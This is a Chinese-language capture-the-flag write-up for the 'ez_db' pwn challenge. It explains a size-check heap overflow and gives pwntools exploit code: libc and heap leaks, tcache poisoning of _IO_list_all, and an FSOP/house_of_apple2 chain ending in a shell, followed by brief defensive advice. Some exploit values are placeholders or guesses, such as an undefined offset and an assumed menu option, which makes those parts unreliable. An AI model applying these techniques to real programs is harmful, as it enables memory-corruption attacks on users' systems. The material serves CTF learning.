TPctf-PWN-ez_db
字数 1225 2025-08-29 08:30:12
TPctf PWN - ez_db 漏洞分析与利用教学
题目概述
ez_db 是一个模拟数据库管理系统的题目,主要功能是管理消息记录。题目存在堆溢出漏洞,结合 FSOP (File Stream Oriented Programming) 和 house_of_apple2 技术实现利用。
漏洞分析
主数据结构
- 使用一个固定大小 (0x400) 的 chunk 作为主 chunk
- 添加记录时从后向前分割这个大 chunk
- chunk 头部存储 id 和分割大小信息
关键漏洞点
漏洞存在于 insert 操作时的 size 检查逻辑:
-
检查逻辑:
(this->end - this->pos + 1) > size + 4end - pos最大为 0x400- 因此 size 最大可以是 0x400 - 3
-
后续操作问题:
- 使用
memcpy复制数据 - 计算剩余空间:
end - size后最多只剩 3 字节 - size 信息存储在第四个字节处
- 当 size=0x400-3 时可以覆盖 chunk 的 size 信息
- 使用
漏洞利用原理
通过设置 size=0x400-3:
- 可以覆盖下一个 chunk 的 size 字段
- 修改 size 为更大的值造成堆溢出
利用思路
-
信息泄露:
- 从后往前 free chunk
- 修改 size 后输出被 free 的 chunk 信息
- 获取 libc 和 heap 基地址
-
堆利用:
- 利用堆溢出修改 tcache bin 的 fd
- 劫持到
_IO_list_all
-
最终利用:
- 使用 house_of_apple2 技术完成利用
详细利用步骤
1. 准备工作
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
p = process('./ez_db')
libc = ELF('/path/to/libc.so.6')
2. 触发堆溢出
# 创建初始 chunk
add(0x100, b'A'*0x100)
# 触发溢出,设置 size=0x400-3
add(0x400-3, b'B'*(0x400-3) + p64(0x500)) # 修改下一个 chunk 的 size
3. 泄露 libc 和 heap 地址
# 释放 chunk 使其进入 unsorted bin
delete()
# 读取 chunk 信息泄露 main_arena 地址
show()
p.recvuntil('Content: ')
leak = u64(p.recv(6).ljust(8, b'\x00'))
libc.address = leak - 0x1ebbe0 # 根据 libc 版本调整偏移
# 类似方法获取 heap 地址
4. 劫持 tcache
# 准备伪造的 chunk
fake_chunk = p64(0) + p64(0x21) # 伪造 chunk header
fake_chunk += p64(libc.sym['_IO_list_all'] - 0x20) # 修改 fd
# 通过堆溢出覆盖 tcache 的 fd
add(0x300, b'C'*offset_to_tcache + fake_chunk)
5. FSOP + house_of_apple2
# 构造伪造的 IO_FILE 结构
fake_file = p64(0) * 7
fake_file += p64(1) # _IO_write_base < _IO_write_ptr
fake_file += p64(0) * 2
fake_file += p64(libc.sym['system']) # _IO_sync_t
fake_file += p64(0) * 0xd
fake_file += p64(heap_base + 0x1234) # 指向 "/bin/sh" 字符串
# 分配 chunk 到 _IO_list_all 附近
add(0x100, fake_file)
# 触发 FSOP
p.sendlineafter('> ', '5') # 假设选项5会触发文件流操作
6. 获取 shell
p.interactive()
关键点总结
-
堆溢出控制:
- 精确计算 size=0x400-3 实现 size 字段覆盖
- 通过修改 size 实现可控的堆溢出
-
信息泄露:
- 利用 unsorted bin 泄露 libc 地址
- 通过堆布局泄露 heap 地址
-
劫持技术:
- 通过 tcache poisoning 劫持
_IO_list_all - 结合 FSOP 实现控制流劫持
- 通过 tcache poisoning 劫持
-
house_of_apple2:
- 利用
_IO_sync_t函数指针实现 ROP - 构造伪造的 IO_FILE 结构体
- 利用
防御建议
- 修复 size 检查逻辑,确保不会出现整数溢出
- 添加边界检查,防止堆块重叠
- 使用更安全的函数替代 memcpy
- 启用更多保护机制 (如 FORTIFY_SOURCE)
扩展思考
- 如果题目开启了更多保护 (如 Full RELRO),如何调整利用方式?
- 是否有其他方法可以绕过 size 检查实现类似的堆溢出效果?
- 如何利用这个漏洞实现不需要泄露地址的利用?